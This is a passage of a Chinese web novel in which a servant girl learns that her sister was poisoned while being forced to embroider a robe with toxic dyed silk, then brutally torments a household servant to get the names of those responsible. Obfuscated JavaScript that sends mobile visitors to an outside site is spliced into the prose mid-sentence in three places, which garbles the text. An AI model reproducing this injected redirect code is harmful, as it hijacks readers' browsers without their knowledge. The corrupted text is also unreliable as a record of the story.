“姑母！姑母！”凝儿哭着，声音含混不清，“姑母你想想办法啊姑母！是你说，那些丫头的衣服最少也值几两银子，咱们不捞白 不捞，我都是听你的呀姑母，是你让我到三少爷院里去争，是你说素馨比不上我，我只是听你的呀姑母！！” 她终于发了急智，知道了怎样才能叫自己活下去，但太晚了，不仅晚，还将她此时唯一的救主撕得粉碎，把仅剩的对她的维护亲 手扯下了。 郑婆子咆哮： “我若知道你是这么蠢的一个东西，我怎么会帮你！什么都做不好，什么都不会，单个眼睛大，肚里空，只想着做姨娘，享清 福，你也不看看你配不配！” 两人骂着，连七八年间的旧账也一并往外扯，家里的外头的，甚至高府的，没有一丝遮拦。 看着再这样下去要连自己的脸也撕了，曾氏坐立难安，高呼了几次“住嘴！够了！”都并没人理她。 殷碧抬起了一只手。 庄婆子会意，立刻上前一人抽了一个耳光，两人当即止住了。 殷碧道： “这两个人，捆起来，至于如何发落，我要与大嫂和几位姨娘商议一下。其他人，除了阿啄以外，各自拿了衣裳回各处去上值， 衣裳烧了的，公中出钱，都各自置办一件。” 丫头们纷纷谢恩，该上值的都去上值了，小钗和素馨回到自己主子身后。 太太姨娘们带着婆子转到屏风后面，里头还单有一个配房，听不见她们说了什么。 约莫过了一盏茶的功夫，众人又纷纷回来，在原来的位置上落了座，个个面色都和善了不少，就连曾氏，也没了那种受尽了侮辱 一般的尴尬模样。 主位方几上放的茶早就凉了，但殷碧还是捧起来喝了一口，润了润嗓子，道： “郑婆子，打二十板子，念你是大嫂的陪房，又在府里做了多年，往后到庄子上去务农，再不许进府里来。” 下面的郑婆子哪里还有说话的气儿，止不住地哀叹自己命苦，又忽然想起什么似的，一猛子扎起来，大喊着让不要送她到庄子上 去，她已经知道错了，说着，还不住地掌掴自己。 她已被定了今后的命，没人再管她如何，只听殷碧继续发落： “凝儿，也打二十板子，她必不可与郑婆子混在一处，等下叫个人牙子来，卖了吧。” 凝儿栽倒在地上，头抵着地砖，她竟不同以往，只低低哭了两声，就没动静了。 外面的小厮进来拖人，郑婆子连打带喊，抓着一个小厮的衣襟不放，拖行到鹿啄面前时，鹿啄不经意瞥了一眼。 这一眼，叫她刹那间回到了几日之前。 那时她在高府外的长巷尽头等着，她日日都到这个地方等，姐姐的信应该送到那里，可两个月来，姐姐都没有信送出来。 那天，她最后只等来了两个小厮抬着她的姐姐，丢到她的面前。 那其中一个抬人的小厮，此时正拖着郑婆子。 18. 知我者，谓我心忧 帮鹿苓送信的人是一个马夫。 此人并不出自高府，而是鹿苓进府前在外头雇的，专职每三日一次，到高府角门边等信，再送去给长巷外的鹿啄。 自打鹿苓的信断了以后，马夫起先还遵从诺言，每三日去等上一个时辰，可等了几次，马夫也失去了耐心。因那信是和马夫的酬 金一起送出来的，多日收不到酬金，马夫不能耽搁了自己的日子，便从此不去了。 收不到姐姐的信，鹿啄知道一定有事，所以也曾到高府的四周查探，甚至潜入过高府几次。 但高府上下，遍寻不到姐姐的踪迹。 鹿苓生死不明，鹿啄只能给当时在京城的鹿霄去了信，毕竟是鹿霄来信叫她们万万不可到京城去，必须要混入高府。 可去信回来，鹿霄的答复，只有几个有气无力的字： 回去，回啜狗山上去。 务必，务必。 她托送信的脚力再回京城去找鹿霄，看字迹，她觉得鹿霄病了，可鹿荇跟在鹿霄身旁，鹿霄不会病得如此重，除非鹿荇死了。 在那脚力一来一回期间，鹿啄日日到长巷外等信，她坚信鹿苓会找其它法子把信送出来。 可最终，她只等到奄奄一息的鹿苓，和脚力送回来的，鹿荇和鹿霄都死了的消息。 鹿荇鹿霄和鹿霖三个人上京，说是很快回来，给她和鹿苓留的药物并不多，鹿啄试着给鹿苓吃了一些，但鹿苓还是很快死了。 死前，她难得有了一丝神智，抓着鹿啄的手，说了跟鹿霄同样的话： “回去，回啜狗山上去，回家。” 鹿啄想了三日。 她三日不吃不喝也不睡，躺在鹿苓边上，想了又想，念了又念。 她觉得她与这世间有仇，只是这仇要去找，要去查。 她不会回去了。 所有的仇，她都要报。 厅堂里模糊的声音叫鹿啄的意识回笼，殷氏正热切地望着她，又说了一遍： “这孩子，高兴傻了不成？方才说了，要让你顶凝儿的缺，到三少爷房里上值，你可愿意？” 所有人都等着鹿啄的反应，那些目光里有诚恳、有猜忌、有利用、有轻蔑，鹿啄低下头，答： “我明日会去。” ----------------- 快到了夕食的时辰，殷碧叫三个少爷也留在内院跟各自的生母用饭，自己则由高雅英托着手，跟曾氏回正房了。 小钗跟在高雅英身后两步，玉珰、银钿、花络三个走在她前头，尽管隔着两个身位，她仍能听见前头说的话。 “殷家妹妹，你说的那个孔婆子，竟真那么有本事？” 按规矩，她应该称呼殷氏为弟妹，但为显得格外跟她亲近，她称呼她母家的姓氏，以私人的关系作她们私下这场往来的对白底 色。 “既答应了给姐姐顶缺，”殷氏不能说是识时务，只能说是很贴心地顺着曾氏聊，“我当然是挑手里有本事的。” 她凑近了曾氏： “当年我嫁过来，头见姐姐第一面，就觉得姐姐真是哪里都好，叫人看了不住的高兴。唯独一样，那郑婆子虽是你的陪嫁，但面 上是带累主子福气的人。我没名分，不好叫姐姐知道这里头的事，现下借着她自露马脚，我当然要给姐姐引荐，一面是全了咱们 妯娌之间的情谊，一面也是赔罪。” 事虽然是郑婆子和凝儿两个大房的人做下，但凝儿面上已经是三房的人，况且根儿是因三房而起，殷氏以此为由赔罪并没什么不 妥，只是曾氏有更关心的，不打算过多客套： “妹妹这就是折煞姐姐了，可千万别说什么赔罪不赔罪的话，咱们本就是一家子。” 这说法奏效，殷氏一笑，讳莫如深。曾氏赶紧问起了自己关心的事： “你说这个孔嬷嬷，她真有‘那个’的门路？” 殷氏由微笑转大笑，拍着曾氏的手： “姐姐怎么这样的胆子小，你久居深宅怕是不知道，历代以来，本朝官员的俸禄是最薄的了，大家各想各的法子去生财，圣上也 是睁一只眼闭一只眼，孔嬷嬷在家时，就有些羊羔息和驴打滚（两者都是民间高利贷）的门路，如今我们家在京城站了脚，老家 的关系用不上了，我当然头一个想着姐姐。” “如此，”殷氏的笑容里有些许退缩，“就甚好了。” 大房的高彦邦是青州知府，身份上是从四品的要员，但月俸、常例（灰色收入）、有多少人来孝敬，跟京官，尤其是高彦韬右副 都御史这样的京官，有着云泥之别。 曾氏管家，倒不至于布衣蔬食，但从郑婆子手里没现银这点来看，大房实际不算富裕，兄弟三个要比着孝敬老太爷和老夫人，高彦邦没少贴不必要的银子，加之高老太爷和老太夫人是属貔貅的，只进不出，曾氏也就时不时会为银钱紧张。 这时候，殷氏双手奉上了一个有利钱门路的婆子，她只有在心里感叹不愧是在京中讨生活的当家主母，却并没想到殷氏从此便拿 了她的把柄，或者说，就算她想到了，也只能咬牙吞下。 往殷氏的上房和往杨怀薇的院子是一条路，但杨怀薇已带着高克正、高容英两个先到了。 三人进了屋，杨怀薇赶紧使唤婆子： “你拿六两银子去大厨房，让她们做些好的来，最好有牛，正儿喜食牛肉，做一道牛肉焐萝卜，再添个水晶鹅、腌螃蟹，这时节螃蟹虽不肥，但也该供上来了一些，叫她们做细致了，蟹腿肉拆一拆扮清粥，正儿吃着好，我有赏。” 寻常人家的少爷，在高克正这个年纪，已经有开府别住的了，但杨怀薇仍把他当孩子，高容英有些看不过： “姨娘，他一个读书人，食无求饱，居无求安，既不该为口腹之欲靡费，也不该晚间吃这么多荤腥，你别宠坏了他。” “他难得来一趟，怎么就坏了他！” 杨怀薇并不听女儿的劝，拉着高克正坐下，一会儿摸摸头发，一会儿摸摸脸蛋，没瘦也叫她瞧出瘦了，疼得她眼泪珠子在眼眶里转。 “姨娘，”高克正有些不自然地躲了，“我一切都好，甚好，你和姐姐都别挂怀。” “我并不挂怀你。” 新桐给高容英搬来一张绣墩，高容英坐下，将自己的马面裙展好，不理会杨怀薇怨她的眼神，才又道： “姨娘、大哥哥、二弟，他们都觉得你还小，我却知道你已经到了给姨娘分忧的年纪。许多事你也该自己拿主意，就说今天那个 丫头，你想不想要她？” “要……要要……要她吗？” 高克正有些结巴起来，脸上也红了。 这时候最该说些什么的杨怀薇，却没有说话，只等高克正的下文。 “父亲说，男子汉，必要先有业再有家，不然就是耽误了别人。”他似乎冷静了一些，说话也顺畅了，“我觉得父亲说得极有道 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030548|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >理，儿女之情的事，我并没想过。” “呆子。”高容英斜睨他，“谁要你娶一个扫地丫鬟做正妻吗？我问的是把她留在你房里的事，你怎么想！” “不怎么想啊，”高克正眨眨眼，“她人老实，又天真纯善，凝儿出去了是要有一个人进来，我能怎么想？” 这答案也算在预料之内了，高容英并没怎么动容，指了指杨怀薇，问他： “你可知姨娘起先那么厌烦那丫头，为何又同意把她安排进你房里？” 高克正懵懂摇头。 “傻正儿，”杨怀薇急切道，“你就是吃了太朴直的亏，以至这后宅的事，你什么都不懂，什么都不灵，娘要再不给你安排个一心 向着你的在你屋里，将来媳妇过门，你要让人家拿捏死吗？” 一心向着他？ 高克正想起阿啄总到他门前扫地，还怕别人知道郑婆子往来他院里会让他丢脸，的确是“一心为他”的，不由得点点头。 “也不止这个。” 高容英叫左右去奉茶，面不改色： “那丫头看着粗笨，其实心细，一点小事也都记在心上，郑婆子的话更是能一字不落的复述，正配你这个心粗的。况且我问过庄 婆子，她无父无母，没有亲戚，跟府上谁都不挨不靠，又识字，等闲诗词都能读能认，这也是你需要的。再者，明年咱们回京 城，你也该考武举了，有了官身，不日就要议亲，到时候新妇过门，与其叫新妇的陪嫁来给你们调房，不如从咱们府上出人你更 自在些。” 自在？ 这词可以这么用吗？ 想起这“自在”意旨的那件事，高克正的脸血红一片。 嘴上说不把他当孩子看，但高容英所算计的桩桩件件，还是在拿他当孩子看。 “姐姐，你也是及笄了的姑娘，以后这种话，万不能当着男人的面讲。” 高克正低头，并不敢冒犯姐姐。 “她就是不说，其实最疼你。” 杨怀薇看见子女一片和睦，不由得也甚欣慰，拉过一儿一女的手，叹道： “咱们一家齐心，把日子过得风风光光，没有比这再好的了。” 她全然忘了自己还有一个女儿置身事外，一味的幸福了片刻，等婆子进来说可以传饭了，才最后叮嘱高克正： “只是那丫头我看不大懂规矩，到时候让你姐姐时不时把她叫来后宅，再调教调教，一定对你颇有助益。” 这边杨姨娘院里一派和乐融融，一墙之隔的陆姨娘院里，又是另外一番景象了。 高克肃南面而坐，处于尊位，不发一言。 陆从漪也老神在在，拿着柄剪刀修剪花枝，似乎只看得见眼前这盆花。 只有高克行，像身上有十万八千只虱子，站也别扭，坐也别扭。 “娘，”他一贯不拘礼数，“我走了，我真回去了，把人叫来了又不说话，什么意思！” 陆从漪瞪他： “你就是坐这么一会儿都难，将来如何上考场，便不说上考场，你那国子监是怎么读的？也是抓耳挠腮，发了病的猴子一般？” “怎么有这样说亲儿子的。”高克行无奈坐下，一手撑下巴，一手指高克肃，“您也这么说大哥？” “他比你还不如。” 陆从漪扔了剪刀，恨恨冲高克肃道： “连老三那样的榆木脑袋还知道懂些人事，他只顾着自己清高，不顾为娘的死活。” 19. 不知我者，谓我何求 高府角门挂着的红灯笼有些旧了，纱罩里洇出惨淡的红，叫夜风吹着，那红摇摇欲坠，像一团新鲜的残躯要从高处坠落下来。 这样的红光，映得郑婆子远行的脚步，拖成一道血路。 角门的张婆子不知道为什么睡着了，高四儿心里隐隐有点不安。 他生在高家，长在高家，娶亲生子也在高家，他对高家的忠心，从他被主人所赐的姓氏上就能看得出来。 这样忠心的一个人，如果不是为了连夜送郑婆子去庄子上，是不会对张婆子值夜偷懒这件事置之不理的。 上了马车，到庄子上约有一个时辰的路，如果今晚还想回来，就要加紧些了。 鹿啄跟在郑婆子和那小厮的身后。 她在想该何时动手。 这小厮知道的未必很多，毕竟这两次他都只在料理后事的时候出现。但往往在这种时候被托付的人，一定是心腹。 车轮“吱呀呀”向前，驾马的高四儿对车顶上伏着一个人一无所知，频频挥鞭打马。 一路无话。 亥时正刻，马车到了庄子。 这一代除了农田就是荒山，高四儿常来，但很少漏夜赶来，他急于将郑婆子出手，连拖带拿的将那个嗓子都嚎哑了的老妇拖出马 车。 他的身后，一个影子从车顶，滑进了车厢之内。 庄子上的人要留高四儿吃些酒，高四儿拒绝了。府里要什么好的没有，况且八月上，这夜里也不知怎的，渗人的冷，还是加紧回去，许是此地没有人气儿的缘故。 从院子出来，翻身上了马车，高四儿赶着马转身。 可一个错身的功夫，他好像看到本该空空如也的车厢里头，竟然坐着一个人。 高四儿立时激出一身冷汗，拿马鞭的手一僵，他平复片刻，劝说自己，兴许是庄子里的逃奴，或者是有不睡觉的小孩没坐过马车，觉得新鲜。左不过是不长眼的人，绝不可能是其它的。这么想着，他伸手要撩车帘…… 霎时，高四儿不省人事。 ----------------- 夜枭惊飞，无声无息地略过一片坟茔。 高四儿从中醒来。 他四下看看，发现马车已经没了，马鞭不见踪影，就连自己的外衣也没了，只剩里面的寝衣罩在身上。在这茂密的林子中，让他感觉发冷。 “有人吗？” 无人应答。 该是遭了劫了。 马车和衣裳都叫那些杀千刀的偷了，瞥他在这老林子里的坟地边上，想活活把他吓死。 高四儿并没那么胆小。 他在高府做的事，没有一样是不遭报应的，无论野地里还是乱坟岗子，他都去过多回了，现下还可以泰然处之。 站起身，高四儿想先看看周遭的地势，如果是他来过的坟圈子，他是能走回去的。 可刚站起来，高四儿就发现眼前站了一个人。 又高又瘦的影子，好像是个女人。 他本能后退了一步，却觉得脚跟踩空，赶紧回头看，只见身后有个四尺多高的深坑。 没人看了这个坑还会觉得无事，那坑刚好够埋一个人。 “你认识苓娘吗。” 那“影子”忽然开口了，听声音就是一个女人，在这深不见底的林子里，她的声音散得很远，与树叶的沙沙声交杂在一起，犹如 挠在高四儿耳朵边上。 高四儿并不怕一个女人，他忝然答道： “什么人？不认识。” 他话音方落，就觉得胸膛让人推了一把，力道之大，犹如一只铁桶撞了上来，他完全稳不住身子，晃晃悠悠跌下了身后的深坑。 糟了。 这该是要活埋了他。 可惜这人并不聪明，四尺高的坑只能埋死人，并埋不住活人。 撑着深坑的边角，高四儿又爬了上来。 虽然肩膀和腿胯该是摔的不轻，但也不到跑不动的地步，更不到还不了手的地步。 想着，高四儿找到了那“影子”的位置，一刻也没犹豫，一拳直冲那影子的面门而去。但下一刻，他只觉一只树枝一样干硬的手 包住了他的拳头，然后是他的肩膀被锁住，接着他整个身子腾空而起，又砸进了那个深坑里。 这一下砸的不轻，高四儿后背落地，几乎爬不起来。 那个钳制他的影子也不说话，也不动，见高四迟迟没有动作，那影子一伸手，高四儿居然完全躲不开，他的后衣领子让人拉住， 整个人被拖出了深坑。 “你认识苓娘吗。” 那“影子”又问。 “不是，你谁啊？说了不认识不认识，怎么问个没完了，你知道我——” 你知道我是谁吗？ 高四儿还没说完，肚子上又中了一脚，他整个人被冲力击飞，又落进坑里。 这是摔进来的第三次了，高四儿开始觉得不对，他浑身都疼，尤其肩膀快要散架一样。 不管对方是谁，自己一定不是她的对手，再这样耗下去，还不知道会如何，得逃。 高四儿拼命爬起来，朝着黑影的反方向猛窜，两步就到了另一边的边缘，他伸手搭住坑壁，忍着肩膀和上臂的一阵剧痛，奋力向 外一跃，双脚落到地上之后，就是没命地狂奔。 地上的湿泥预示着将有大雨要来了，高四儿逃得更卖力，直到，他看见面前不远的地方 ——站着一个人。 “娘的，”高四儿有些急了，但确切来说，是有些怕了，“你到底是谁啊！你想——” 他话到嘴边，让一记嘴巴扇了回去，那巴掌落在脸上的时候，他甚至生出了自己的脖子还是不是跟头连在一起的错觉。 头上又是一阵剧痛，那“影子”尖细的手抓住了他的头发，直接将他拖倒在地，又一路拖到了那个深坑旁边。 高四儿死命的挣扎，大喊，但无济于事，他不得不放软了语气： “我真不认识什么苓娘，这位好汉，不是，这位姑娘，你放我一马，你——” 他又被丢进了深坑里。 他还能被这样丢几次？ 这一下他已经觉得吃不住了，纵然用手撑了一下，但手上立刻就传来疼痛，连带着整个前肢都是一软。 忽然，天上炸响了一个雷。 整个林子都被照亮了，在乌紫色的天空下，高四儿终于看清了坑上面站着的那个女人的脸。 那不过是一个十来岁的小丫头的样子，很瘦，穿一身灰扑扑的衣服，以他多年替高府买卖女人的经验看，这丫头的底子应该是相 当好的，只是好像受了很多苦，面色很差，能露在外面的骨头都露在外面。 “你知道吗。” 小丫头俯视着他，又开口了： “一下雨，我就心绪不宁。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030549|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 高四儿还没来得及品出这句话里的意思，胸前的衣服就让人抓住了，他整个人几乎是双脚腾空地被拉了起来，又落到地上，然后 又一次被推落坑底。 他的身上好疼啊。 说不清楚是哪里疼，因为哪里都有伤，这坑里到处都是尖尖的碎石子，他能感觉到自己的衣裳都给划破了，有血正静静地往外 流。 “我认识，我认识！”高四儿赶紧哭求道，“我认识苓娘！” 可他话刚刚说完，就又让那丫头以更粗暴，更不顾及他死活的方式拖了出去，他听见一个声音传过来： “我不想知道了。” 又一次被扔回去。 又一次被拖出来。 扔回去，拖出来。 无论他说什么，无论他怎么逃，无论他磕头也好，哭叫也罢，甚至是躺在地上，等着他的都只有—— 扔回去，拖出来。 最后一次被拖出来时，高四儿已经满脸是泪，他说不出话，只能等着对方马上会到来的折磨，不知什么时候，那雨已经下来了， 他的眼泪跟雨水都流进嘴里，也流到身上的伤口里，叫他更加苦不堪言。 终于，雨夜里的鬼魅再次开口了： “你会狗叫吗？” 高四儿立刻叫了两声。 这一次他没有被扔回去了，折磨他的人似乎很受用，又一次问他： “你会狗叫吗？” 高四儿狂叫。 他一直叫，希望这样的方式能够换取对方的满意，他甚至变着花样的叫，可数不清叫到第几声的时候，他又被扔回了坑里，他痛 得想吐。 怎么了？是哪里不对？是他叫的不好？还是她不喜欢这样的叫声？ 高四儿期盼着自己能表现得更好些，他隐隐都有些怪起自己来。 又一次被拖出来，高四儿哆嗦着等，他甚至在心里模拟自己要怎么把狗学得更加惟妙惟肖，可这时候，那主宰着一切的人发话了： “你能吃下这些土吗？” “我能！我能！” 高四儿高叫着，开始往嘴里塞那些和着雨水的泥土，味道实在不好，他开始还能硬吞两口，但后面止不住的干呕起来，刚干呕了 一声，高四儿又被踹翻回深坑里。 他真的崩溃了，他几乎是本能地把坑里的泥土也塞进嘴里，好叫那位大人能看到，他吃得有多么好，吃得有多么香。 可这是无用的，他又被拖了出去。 这一次，那位大人要他把刚刚吃下去的再吐出来。 他死命地抠自己的喉咙，但抠了两下，就又被踹回坑里。如此往复几次，他甚至高声向那人宣誓，宣誓他今生今世是她的伥鬼， 是她的奴隶，是最贱最下等的一条狗，可无济于事。 高四儿突然明白了。原来做什么都是不对的，顺从也会被踹回去，不顺从仍然会被踹回去，对他的刑罚是一种全然没有规律的天 罚，任他做什么也不能逃脱。 高四儿的脸渐渐灰白下去，眼中也失了一切希望，他只是顺从地被摆布着，等着什么时候会死掉。 可那个人突然停了，问了他最开始的问题： “你认识苓娘吗。” 高四儿茫然地、空洞地、失了魂儿一样跌坐在雨中，无助地乞问： “求您告诉我，我应该认识吗？” 20. 鹿苓之死 大雨倾盆如注，鹿啄没有回答，她反手又将高四儿推落坑中，犹如她根本不期待那个答案一样。 她无须期待，高四儿一定会将自己所知所有的一切都进献给她，绝无隐瞒，这是信者对天罚的唯一态度。 就像是逐娘死时，鹿啄也不知该恨谁一样。 她死于一场天灾，天灾是每个受难者必然的因果，鹿啄并非不想恨天，只是她恨不过，再恨又能如何？ 如今，她就是把这样再恨也不能如何的结果，施加给高四儿而已。 高四儿跪坐于坑中，行为物役，喋喋不休，不知是要说给谁听，仿佛是一个只会重复这些话的鹦哥，不住地说着他所知所见的苓娘。 天禧二十年春，高四儿随高家回到青州后的第一个月，他奉三房主母殷氏之命，在青州寻找手艺上乘的绣娘，是为了完成一件殷 氏极为看重的绣品。 这件绣品从京城就不断更换主绣的绣娘，高彦韬携家回青州探病，殷氏竟不放心将绣品留在京城，一路携带，想在青州找人继续 完成。 高四儿先后为殷氏找来了四批共计三十六位绣娘，可无一人能入殷氏的眼。 直到他找到了苓娘。 虽然从鹿啄的角度来看，应该是苓娘找上了他。 总之，苓娘的绣工最终打动了殷氏，并让殷氏在后屋为她单独开辟了一间绣房，名义上是专为高彦韬缝补子，但实则苓娘一直在 完成那件殷氏极为看重的绣品。 高四儿并不知道苓娘心里是怎么想的，他只知道苓娘对这件绣品十分用心，苓娘深耕这件绣品期间，高四儿经常会到后屋去，但 他不怎么见苓娘，每一次去，都是为了同一件事——抬人。 他抬的人，有些活着，有些已经硬了多时了。 起先高四儿并不知道这些人是怎么了，他只知道这都是来青州以后新买的仆役，有男有女，而且他们都有一个共同的特点，就是 被高四儿抬走的时候，隐约能看见这些人大张着呼气的嘴巴里，牙齿边上，有一道蓝灰色的细线。 向来不畏鬼神的高四儿难得恐惧起来，他不知道殷氏正在后屋密谋着什么，不敢多问，也不敢多想。 直到有一天，他记得是七月，天刚热起来的时候。 那天他应殷氏的吩咐，仍旧到后屋去抬人，可没想到这次抬的人，竟然是苓娘。 刚进后屋苓娘待的那个小配房，他就觉得很不对劲，屋里有股浓重的腥气，还有饭馊了的味道，他循着味道看了看，头两天的饭 都摆着，没人清理，也没人吃。那个他亲手买回来的绣娘，坐在炕上，已经成了他完全不认识的样子。 脸是黑的，眼皮肿得老高，喘气都费力，时不时就浑身抖动一下，手上清晰可见好几块溃烂不愈的伤口，但最让高四儿心惊的还 是，她张着的嘴巴里，隐隐能看到一条，诡异的蓝黑色细线。 高四儿极怕，但他又不能违抗上命，于是哆嗦着想去抬走苓娘，但谁知手触到苓娘之前，他先被苓娘身侧放置着的那件绣品吸引住了。 那是一件堪称绝品的霞帔。 先不提霞帔所用的底料是如何的昂贵奢侈，点缀其上的蹙金绣云霞翟纹又如何华贵雍容，这两样都比不上满绣其间的正红牡丹。 那并不是寻常的红色、不是艳丽的绯色、也不是庄重的绛色，而是一种闪耀着独特光彩的，似乎会流动的颜色，些许光芒打在上 头，便有一种神秘沉静，又张扬热烈的光芒熠熠闪耀，仿佛昭示着永恒。 就连他这个粗人看了，都觉得这件霞帔是天底下最华贵的，没有任何一样穿在人身上的东西，能越过它的光彩。 高四儿懵在原地，鬼使神差地想要摸上一把这此生都不可能再见的臻品，但他刚抬起了上半身，就听见身后门响。 因做贼心虚，他立刻猛回头看，却见是殷碧站在门口，脸上的光掩去了一半，只露出一只眼睛和其下紧抿的嘴唇。 她眼里的神采，直到今天，还让高四儿历历在目。 那是要把人剥皮吮血，榨出最后一点骨头汁儿来才算完的盘剥。 “吃了药也不见好，总归还没死吧？” 阴恻恻的声音在高四儿身后响起，高四儿给不出答案。 就算不死，也离死不远了，无论她是怎么变成这样的，但只要继续下去，要不了多久，这人就完了。 高四儿没想到殷氏竟然亲自踏进这污秽不堪的屋子里，伸手去探苓娘的鼻息，那鼻息一定是极微弱的，殷氏的手停了好一会儿， 才放下心来似的，叹了一声： “好在有气儿，歇上两天，接着绣吧。” 随后，她打发一只蝼蚁一样，叫高四儿离开屋里，又再三胁迫他，如若想要全家的命，就不要把见到的任何事说出去。 此后几天，高四儿连发噩梦。 他并没把自己的所见所闻告诉任何人，而是转去找了曾经被他抬出去的活人，幸好叫他找到了，那人的境况当然也不好，但据当 时正在他家里的郎中所说，性命无虞。 幸存的人以为高四儿是要来把他抓回高府的，吓得昏死过去几次，都被高四儿扇醒，高四儿向他起誓绝不是要逮他回去，他才放 了心，告诉高四儿实情。 那件霞帔，就是一切的因头。 这人被叫进府里时，并不知道自己所做的活计是为谁而准备的，他只知道他负责给一个绣娘染丝线，工序都是常见的，只染色的 东西稀有。 先取上品的朱砂精研初淬，再以玄白（铅糖）锁色。 染色的工匠心里十分清楚，这两样都是剧毒。因朱砂和玄白都是矿石水飞而来的天然色彩，便有着相传不会褪色的、如传说般绝 美的明艳，他家里是见过些世面的，曾告诉他大内也有用这样工艺的染坊，但都是轮番协作，一批工匠只染一次，便不会再用。 可谁知他们几个竟没人替换，日夜不息的染着丝线。 很快就有人病倒了，但只要不是被毒得动弹不得，就有人用鞭子抽着脊梁骨叫他们再染。 行刑的人都是精确算计过的，从不打能接触到染料的地方，怕留下伤口死得太快了，不够物有所值。 高四儿心下一惊，大约知道抽鞭子的人都是谁，暗自庆幸这里面没有他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030550|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 染色的工匠继续说着。 直到有一天，他们听说屋里头的绣娘不做了，可能是意识到手里的丝线是什么东西染得，那绣娘竟死活不绣了。 他们停工了两天，到第三天的时候，就有人从充作染坊的配房被拉到后屋绣娘那里，当着绣娘的面，又是打鞭子，又是抽耳光。 绣娘可能心善，看不得他人吃苦，最终又同意回去绣，但有一样条件：让染坊的工匠们轮换工作，如果她看出手里的丝线是同一个人染的，就即刻毁掉霞帔。 这一来，这位告诉高四儿内情的工匠才得以从染坊脱身，叫人抬回去治病。 听完这一切，高四儿心下骇然。 一件霞帔，值得赔上这么多人的命吗？ 就是给当今的皇后娘娘穿，始终也不过是一件儿装点啊。 但这并非他能置喙的。他把整件事悄悄烂在肚子里，一直到苓娘再也起不来，被他抬出府里丢掉，他也没有对任何人讲过。 雨丝不知何时变得锋利起来，一刀刀刮在鹿啄脸上，她已从高四儿口中把这个“故事”听了三遍，高四儿喃喃： “这是命，这是命，人的命分高低，有人的命就是这样。” 她再听不下去了。 “名字。” 高四儿茫然抬头，大雨中，看不清鹿啄的脸色，也不知她周身蒸腾出的水汽，是因为愤怒，还是她仍然活着的证明。 “名字。” 鹿啄又重复了一遍。 她要每一个人的名字。 那些折磨了工匠的人、给鹿苓送饭，但看着她一天天吃不下去，消瘦虚弱的人、看守屋子的人、为殷碧寻来染色法子的人，这些 人的名字，她会牢牢记住，一个个记住。 她心中充斥着的悲伤和怒火，早已不是能用眼泪去忖度的了，只有毁灭可以开解，无谓毁灭什么，毁灭多少，哪怕是毁灭她自 己。 可她从没想过，如果不以眼泪宣泄愤怒，那这无处可去的火焰，到头来是否会只燃尽她一个。 高四儿脸上的木然像凝住了似的，他又从循环往复的过去中挣扎出来，一个个给鹿啄报上仇家的名字。这名单不长，涵盖着殷氏 手下几个的心腹，若是有人拔掉他们，那就是把殷氏从整个高家连根拔起。 然而打断骨头连着筋，如果把殷氏拔出来，那么高彦韬呢？ 高雅英、高汐英呢？ 那件霞帔的主人又是谁？ 殷氏入高府多年，凤冠霞帔恐怕早束之高阁。这番兴师动众，不惜人命，若说是为留个念想，其心十中无一；若单为其中利字， 更属不必，只因鹿苓若在，便是活水源头，岂是区区死物可比。 鹿啄很不想再去考量这些问题了，现在回去，到殷氏的房里要了她的命，连一个眨眼的功夫都用不上。 可这样一个狠毒阴险的女人，她如果无知无觉地死了，便永远不会知道自己轻易地摧毁了他人最为爱重的珍宝，她也不会觉得痛 苦，甚至会有人颂扬她生前的言行举止，万世永续的在殷家的族谱上祭奠她，怀念她。 这要鹿啄如何甘心。 21. 工欲善其事 大雨初霁，鹿啄赶着马车回到了她跟鹿苓在城中暂住的屋子里。 这屋子临街，高府的马车又甚是扎眼，鹿啄只能趁天色还早，街面上没什么人的时候快速料理完。 高四儿被丢在车厢之内，虽然外伤受得重，但胳膊腿儿俱在，五脏六腑俱在，高府若出钱给他医治，要不了十天半个月也能痊 愈。但若是高府不出钱给他治，那大概也是他的“命”吧。 走进屋里，鹿啄直奔里间的炕角。 这一带都是穷人居住，偶尔也有闹贼的，房子的赁主是个老妇，给鹿苓送信的马夫就是老妇的大儿子，她家这因陋就简的小房， 单辟了一间向外租赁，平时在院里走动，赁户和赁主拆不开，总要见面。 鹿啄经常发现她外出回来后，房里会有些让人动过的痕迹，至于是来偷东西，还是不放心外人，怕外人不爱惜住处，特意来检查，这就不得而知了。 为了防范这些不请自来的客，鹿啄把重要的东西都放在一个石凿的盆里，又把大盆埋到炕角，面上盖一层席子，以防失窃。 房里不算很乱，鹿啄几日前还在此处住着，现下基本都维持了原样。她到炕角把东西都取出来，大约是脸盆大小的一个包袱。 包袱里有鹿荇包好的药材、鹿苓绣品换的散碎银两、鹿霄的信、鹿坪酿的一坛酒。最重要的，还有一包飞蝗石和两把刻了血槽的骨柄剥皮刀。 